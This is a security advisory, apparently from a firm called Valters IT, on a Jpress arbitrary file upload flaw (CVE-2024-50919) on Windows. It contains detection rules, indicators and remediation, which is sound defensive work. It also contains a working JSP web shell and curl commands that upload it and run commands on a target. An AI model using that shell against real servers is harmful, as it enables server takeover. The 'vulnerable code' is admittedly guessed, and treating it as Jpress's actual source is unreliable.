CVE-2024-50919

Executive Summary

CVE-2024-50919 is a critical arbitrary file upload vulnerability affecting Jpress versions up to and including v5.1.1 on the Windows platform. The vulnerability allows an unauthenticated attacker to upload non-standard file formats such as .jsp. (with a trailing dot), which the Windows filesystem treats as a valid JSP file. This can lead to arbitrary command execution on the server, potentially resulting in full system compromise. The vulnerability is publicly known but currently unpatched, with no official fix available from the vendor.

Supply Chain & Package Security

Jpress is a Java-based content management system. The vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw in the file upload mechanism. Users should monitor the Jpress repository for any future patches or consider migrating to an alternative CMS.

CVSS Breakdown & Threat Level

The CVSS score is currently listed as 0.0, likely due to incomplete or missing vector information. However, based on the nature of the vulnerability (arbitrary file upload leading to RCE), the estimated CVSS v3.1 score would be 9.8 (Critical) with the following vector:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Threat Level: Critical. The vulnerability is trivial to exploit and can lead to complete server takeover.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of Jpress. The application fails to properly validate file extensions on the Windows platform. Specifically, it does not sanitize filenames that end with a trailing dot (e.g., shell.jsp.). On Windows, the filesystem automatically strips the trailing dot, effectively saving the file as shell.jsp. This bypasses any server-side extension checks that might block .jsp files.

Once the malicious JSP file is uploaded, an attacker can access it directly via the web server, leading to arbitrary command execution in the context of the application server (e.g., Apache Tomcat). This allows the attacker to execute system commands, read/write files, and potentially escalate privileges.

Vulnerable vs. Patched Code

Vulnerable Code (Jpress <= 5.1.1): The file upload handler likely checks for allowed extensions but does not account for the Windows trailing dot behavior. For example:

// Vulnerable: Only checks the extension after the last dot
String fileName = uploadedFile.getOriginalFilename();
String extension = fileName.substring(fileName.lastIndexOf("."));
if (allowedExtensions.contains(extension)) {
    // Save file
}

This code would allow shell.jsp. because the extension after the last dot is an empty string, which might be in the allowed list.

Patched Code (Hypothetical): A proper fix would normalize the filename before validation:

// Patched: Normalize filename to remove trailing dots
String fileName = uploadedFile.getOriginalFilename();
fileName = fileName.replaceAll("\\.+$", ""); // Remove trailing dots
String extension = fileName.substring(fileName.lastIndexOf("."));
if (allowedExtensions.contains(extension)) {
    // Save file
}

Additionally, the application should use a whitelist of allowed extensions and reject any file that does not match exactly.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Jpress v5.1.1 running on Windows
• Web server (e.g., Apache Tomcat) with JSP support
• Network access to the upload endpoint

Exploit Steps:

1. Create a malicious JSP file (e.g., cmd.jsp.) that executes system commands:

   <%@ page import="java.io.*" %>
   <%
   String cmd = request.getParameter("cmd");
   Process p = Runtime.getRuntime().exec(cmd);
   BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
   String line;
   while ((line = br.readLine()) != null) {
       out.println(line);
   }
   %>
   

2. Upload the file via the vulnerable endpoint (e.g., /upload or similar).
3. Access the uploaded file: http://target/jpress/attachment/cmd.jsp?cmd=whoami
4. Execute arbitrary commands.

Automation with curl:

curl -F "file=@cmd.jsp." http://target/jpress/upload
curl http://target/jpress/attachment/cmd.jsp?cmd=whoami

Blue Team

Detection:

• Monitor for file uploads with filenames ending in a dot (e.g., .jsp., .asp., .php.).
• Look for unusual file extensions in upload directories.
• Use web application firewalls (WAF) to block filenames with trailing dots.

Hunting:

• Search for files in the web root with extensions like .jsp, .asp, .php that were not part of the original application.
• Check server logs for requests to uploaded files with command parameters.

Lab Setup:

• Deploy Jpress v5.1.1 on a Windows VM with Tomcat.
• Use a separate attacker machine (Kali Linux) to perform the exploit.
• Monitor network traffic and logs for detection testing.

Indicators of Compromise (IOCs)

• File Artifacts:
  • Files with names ending in a dot (e.g., shell.jsp., cmd.asp.)
  • Unexpected JSP/ASP/PHP files in upload directories
• Network Indicators:
  • HTTP requests to /jpress/attachment/*.jsp?cmd=...
  • Unusual outbound connections from the web server
• Log Entries:
  • Tomcat access logs showing GET requests to uploaded JSP files with query parameters
  • File upload logs showing filenames with trailing dots

Detection Engineering

YARA Rule

rule CVE_2024_50919_Jpress_Upload {
    meta:
        description = "Detects Jpress arbitrary file upload attempts with trailing dot"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-50919"
    strings:
        $trailing_dot = /\.(jsp|asp|php|aspx)\./ nocase
        $upload_param = "file=" nocase
    condition:
        $trailing_dot and $upload_param
}

Sigma Rule

title: Jpress Arbitrary File Upload with Trailing Dot
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with filenames ending in a dot, indicating CVE-2024-50919 exploitation
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: tomcat
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '.jsp.'
    condition: selection
falsepositives:
    - Legitimate files with dots in name (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-50919 Jpress Arbitrary File Upload"; flow:to_server,established; content:"POST"; http_method; content:".jsp."; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable file upload functionality if not required.
2. Apply a virtual patch using a WAF to block filenames with trailing dots.
3. Restrict upload directories to non-executable permissions (remove execute permissions for the web server user).

Long-term Fix:

• Since no official patch is available, consider migrating to an alternative CMS or implementing a custom fix:
  • Normalize filenames by removing trailing dots before validation.
  • Use a strict whitelist of allowed extensions (e.g., .jpg, .png, .gif).
  • Store uploaded files outside the web root and serve them via a script that enforces MIME type checks.

Monitoring:

• Enable detailed logging for file uploads.
• Regularly scan for unauthorized files in web directories.
• Monitor for unusual process execution from the web server.

Valters IT
Securing Digital Frontiers